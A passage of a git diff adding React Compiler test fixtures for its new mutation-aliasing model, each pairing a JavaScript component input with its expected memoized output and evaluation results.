+  fn: Component,
+  params: [{ prop: { id: 1 } }],
+  sequentialRenders: [
+    { prop: { id: 1 } },
+    { prop: { id: 1 } },
+    { prop: { id: 2 } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"id":[1]}</div>
+<div>{"id":[1]}</div>
+<div>{"id":[2]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.tsx
new file mode 100644
index 000000000000..ecd5598cb091
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.tsx
@@ -0,0 +1,94 @@
+// @enableNewMutationAliasingModel
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+  const aliasedObj = identity(obj);
+
+  // [obj.id] currently is assigned its own reactive scope
+  const id = [obj.id];
+
+  // Writing to the alias may reassign to previously captured references.
+  // The compiler currently produces valid output, but this breaks with
+  // reordering, recycleInto, and other potential optimizations.
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  return <Stringify id={id} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.expect.md
new file mode 100644
index 000000000000..b3531c225d9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.expect.md
@@ -0,0 +1,93 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(Boolean);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(13);
+  const { value } = t0;
+  let t1;
+  let t2;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = { value: "foo" };
+    t2 = { value: "bar" };
+    $[0] = t1;
+    $[1] = t2;
+  } else {
+    t1 = $[0];
+    t2 = $[1];
+  }
+  let t3;
+  if ($[2] !== value) {
+    t3 = [t1, t2, { value }];
+    $[2] = value;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const arr = t3;
+  useIdentity(null);
+  let t4;
+  if ($[4] !== arr) {
+    t4 = arr.filter(Boolean);
+    $[4] = arr;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const derived = t4;
+  let t5;
+  if ($[6] !== derived) {
+    t5 = derived.at(0);
+    $[6] = derived;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] !== derived) {
+    t6 = derived.at(-1);
+    $[8] = derived;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  let t7;
+  if ($[10] !== t5 || $[11] !== t6) {
+    t7 = (
+      <Stringify>
+        {t5}
+        {t6}
+      </Stringify>
+    );
+    $[10] = t5;
+    $[11] = t6;
+    $[12] = t7;
+  } else {
+    t7 = $[12];
+  }
+  return t7;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.js
new file mode 100644
index 000000000000..3229088e1da9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-filter.js
@@ -0,0 +1,12 @@
+// @enableNewMutationAliasingModel
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(Boolean);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.expect.md
new file mode 100644
index 000000000000..db5ce79eab94
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component(props) {
+  // This item is part of the receiver, should be memoized
+  const item = {a: props.a};
+  const items = [item];
+  const mapped = items.map(item => item);
+  // mapped[0].a = null;
+  return mapped;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {id: 42}}],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.a) {
+    const item = { a: props.a };
+    const items = [item];
+    t0 = items.map(_temp);
+    $[0] = props.a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const mapped = t0;
+
+  return mapped;
+}
+function _temp(item_0) {
+  return item_0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: { id: 42 } }],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"a":{"id":42}}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.js
new file mode 100644
index 000000000000..42e32b3e38b3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-captures-receiver-noAlias.js
@@ -0,0 +1,15 @@
+// @enableNewMutationAliasingModel
+function Component(props) {
+  // This item is part of the receiver, should be memoized
+  const item = {a: props.a};
+  const items = [item];
+  const mapped = items.map(item => item);
+  // mapped[0].a = null;
+  return mapped;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {id: 42}}],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.expect.md
new file mode 100644
index 000000000000..7bc2c193cf7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.expect.md
@@ -0,0 +1,134 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const getArrMap1 = () => arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const getArrMap2 = () => arr1.map(cb2);
+  return (
+    <Stringify
+      getArrMap1={getArrMap1}
+      getArrMap2={getArrMap2}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { Stringify } from "shared-runtime";
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo(t0) {
+  const $ = _c(13);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr1[0]) {
+    t1 = (e) => arr1[0].value + e.value;
+    $[0] = arr1[0];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb1 = t1;
+  let t2;
+  if ($[2] !== arr1 || $[3] !== cb1) {
+    t2 = () => arr1.map(cb1);
+    $[2] = arr1;
+    $[3] = cb1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const getArrMap1 = t2;
+  let t3;
+  if ($[5] !== arr2) {
+    t3 = (e_0) => arr2[0].value + e_0.value;
+    $[5] = arr2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const cb2 = t3;
+  let t4;
+  if ($[7] !== arr1 || $[8] !== cb2) {
+    t4 = () => arr1.map(cb2);
+    $[7] = arr1;
+    $[8] = cb2;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const getArrMap2 = t4;
+  let t5;
+  if ($[10] !== getArrMap1 || $[11] !== getArrMap2) {
+    t5 = (
+      <Stringify
+        getArrMap1={getArrMap1}
+        getArrMap2={getArrMap2}
+        shouldInvokeFns={true}
+      />
+    );
+    $[10] = getArrMap1;
+    $[11] = getArrMap2;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getArrMap1":{"kind":"Function","result":[]},"getArrMap2":{"kind":"Function","result":[]},"shouldInvokeFns":true}</div>
+<div>{"getArrMap1":{"kind":"Function","result":[]},"getArrMap2":{"kind":"Function","result":[]},"shouldInvokeFns":true}</div>
+<div>{"getArrMap1":{"kind":"Function","result":[2,3]},"getArrMap2":{"kind":"Function","result":[0,1]},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.js
new file mode 100644
index 000000000000..faa34747da18
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-map-named-callback-cross-context.js
@@ -0,0 +1,36 @@
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const getArrMap1 = () => arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const getArrMap2 = () => arr1.map(cb2);
+  return (
+    <Stringify
+      getArrMap1={getArrMap1}
+      getArrMap2={getArrMap2}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.expect.md
new file mode 100644
index 000000000000..b2564a7a90d1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b, c}) {
+  const x = [];
+  x.push(a);
+  const merged = {b}; // could be mutated by mutate(x) below
+  x.push(merged);
+  mutate(x);
+  const independent = {c}; // can't be later mutated
+  x.push(independent);
+  return <Foo value={x} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(6);
+  const { a, b, c } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b || $[2] !== c) {
+    const x = [];
+    x.push(a);
+    const merged = { b };
+    x.push(merged);
+    mutate(x);
+    let t2;
+    if ($[4] !== c) {
+      t2 = { c };
+      $[4] = c;
+      $[5] = t2;
+    } else {
+      t2 = $[5];
+    }
+    const independent = t2;
+    x.push(independent);
+    t1 = <Foo value={x} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = c;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.js
new file mode 100644
index 000000000000..eb7f31bff631
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/array-push.js
@@ -0,0 +1,11 @@
+// @enableNewMutationAliasingModel
+function Component({a, b, c}) {
+  const x = [];
+  x.push(a);
+  const merged = {b}; // could be mutated by mutate(x) below
+  x.push(merged);
+  mutate(x);
+  const independent = {c}; // can't be later mutated
+  x.push(independent);
+  return <Foo value={x} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.expect.md
new file mode 100644
index 000000000000..72f0e7fb28ef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  const y = [b];
+  const f = () => {
+    y.x = x;
+    mutate(y);
+  };
+  f();
+  return <div>{x}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = { a };
+    const y = [b];
+    const f = () => {
+      y.x = x;
+      mutate(y);
+    };
+    f();
+    t1 = <div>{x}</div>;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.js
new file mode 100644
index 000000000000..8d4bb23742b2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation-via-function-expression.js
@@ -0,0 +1,11 @@
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  const y = [b];
+  const f = () => {
+    y.x = x;
+    mutate(y);
+  };
+  f();
+  return <div>{x}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.expect.md
new file mode 100644
index 000000000000..0753f007b7b3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  const y = [b];
+  y.x = x;
+  mutate(y);
+  return <div>{x}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = { a };
+    const y = [b];
+    y.x = x;
+    mutate(y);
+    t1 = <div>{x}</div>;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.js
new file mode 100644
index 000000000000..480221fef4da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/basic-mutation.js
@@ -0,0 +1,8 @@
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  const y = [b];
+  y.x = x;
+  mutate(y);
+  return <div>{x}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.expect.md
new file mode 100644
index 000000000000..99e9a66924ac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.expect.md
@@ -0,0 +1,103 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {arrayPush, Stringify} from 'shared-runtime';
+
+function Component({prop1, prop2}) {
+  'use memo';
+
+  let x = [{value: prop1}];
+  let z;
+  while (x.length < 2) {
+    // there's a phi here for x (value before the loop and the reassignment later)
+
+    // this mutation occurs before the reassigned value
+    arrayPush(x, {value: prop2});
+
+    if (x[0].value === prop1) {
+      x = [{value: prop2}];
+      const y = x;
+      z = y[0];
+    }
+  }
+  z.other = true;
+  return <Stringify z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop1: 0, prop2: 'a'}],
+  sequentialRenders: [
+    {prop1: 0, prop2: 'a'},
+    {prop1: 1, prop2: 'a'},
+    {prop1: 1, prop2: 'b'},
+    {prop1: 0, prop2: 'b'},
+    {prop1: 0, prop2: 'a'},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { arrayPush, Stringify } from "shared-runtime";
+
+function Component(t0) {
+  "use memo";
+  const $ = _c(5);
+  const { prop1, prop2 } = t0;
+  let z;
+  if ($[0] !== prop1 || $[1] !== prop2) {
+    let x = [{ value: prop1 }];
+    while (x.length < 2) {
+      arrayPush(x, { value: prop2 });
+
+      if (x[0].value === prop1) {
+        x = [{ value: prop2 }];
+        const y = x;
+        z = y[0];
+      }
+    }
+
+    z.other = true;
+    $[0] = prop1;
+    $[1] = prop2;
+    $[2] = z;
+  } else {
+    z = $[2];
+  }
+  let t1;
+  if ($[3] !== z) {
+    t1 = <Stringify z={z} />;
+    $[3] = z;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prop1: 0, prop2: "a" }],
+  sequentialRenders: [
+    { prop1: 0, prop2: "a" },
+    { prop1: 1, prop2: "a" },
+    { prop1: 1, prop2: "b" },
+    { prop1: 0, prop2: "b" },
+    { prop1: 0, prop2: "a" },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"z":{"value":"a","other":true}}</div>
+<div>{"z":{"value":"a","other":true}}</div>
+<div>{"z":{"value":"b","other":true}}</div>
+<div>{"z":{"value":"b","other":true}}</div>
+<div>{"z":{"value":"a","other":true}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.js
new file mode 100644
index 000000000000..042cae823f7f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-backedge-phi-with-later-mutation.js
@@ -0,0 +1,35 @@
+// @enableNewMutationAliasingModel
+import {arrayPush, Stringify} from 'shared-runtime';
+
+function Component({prop1, prop2}) {
+  'use memo';
+
+  let x = [{value: prop1}];
+  let z;
+  while (x.length < 2) {
+    // there's a phi here for x (value before the loop and the reassignment later)
+
+    // this mutation occurs before the reassigned value
+    arrayPush(x, {value: prop2});
+
+    if (x[0].value === prop1) {
+      x = [{value: prop2}];
+      const y = x;
+      z = y[0];
+    }
+  }
+  z.other = true;
+  return <Stringify z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop1: 0, prop2: 'a'}],
+  sequentialRenders: [
+    {prop1: 0, prop2: 'a'},
+    {prop1: 1, prop2: 'a'},
+    {prop1: 1, prop2: 'b'},
+    {prop1: 0, prop2: 'b'},
+    {prop1: 0, prop2: 'a'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.expect.md
new file mode 100644
index 000000000000..34c41ff54cf9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+import {Stringify, mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
+  const f0 = function () {
+    let a = {y};
+    let b = {x};
+    a.y.x = b;
+  };
+  f0();
+  mutate(y);
+  return <Stringify x={y} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, mutate } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(3);
+  const { foo, bar } = t0;
+  let t1;
+  if ($[0] !== bar || $[1] !== foo) {
+    const x = { foo };
+    const y = { bar };
+    const f0 = function () {
+      const a = { y };
+      const b = { x };
+      a.y.x = b;
+    };
+    f0();
+    mutate(y);
+    t1 = <Stringify x={y} />;
+    $[0] = bar;
+    $[1] = foo;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 2, bar: 3 }],
+  sequentialRenders: [
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 4 },
+    { foo: 3, bar: 4 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":{"bar":3,"x":{"x":{"foo":2}},"wat0":"joe"}}</div>
+<div>{"x":{"bar":3,"x":{"x":{"foo":2}},"wat0":"joe"}}</div>
+<div>{"x":{"bar":4,"x":{"x":{"foo":2}},"wat0":"joe"}}</div>
+<div>{"x":{"bar":4,"x":{"x":{"foo":3}},"wat0":"joe"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.js
new file mode 100644
index 000000000000..5aa39d3ffb36
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capture-in-function-expression-indirect.js
@@ -0,0 +1,25 @@
+import {Stringify, mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
+  const f0 = function () {
+    let a = {y};
+    let b = {x};
+    a.y.x = b;
+  };
+  f0();
+  mutate(y);
+  return <Stringify x={y} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.expect.md
new file mode 100644
index 000000000000..45c8687b33bf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0][1];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [['val1', 'val2']],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function bar(a) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== a) {
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0][1]) {
+    y = {};
+
+    y = x[0][1];
+    $[2] = x[0][1];
+    $[3] = y;
+  } else {
+    y = $[3];
+  }
+
+  return y;
+}
+
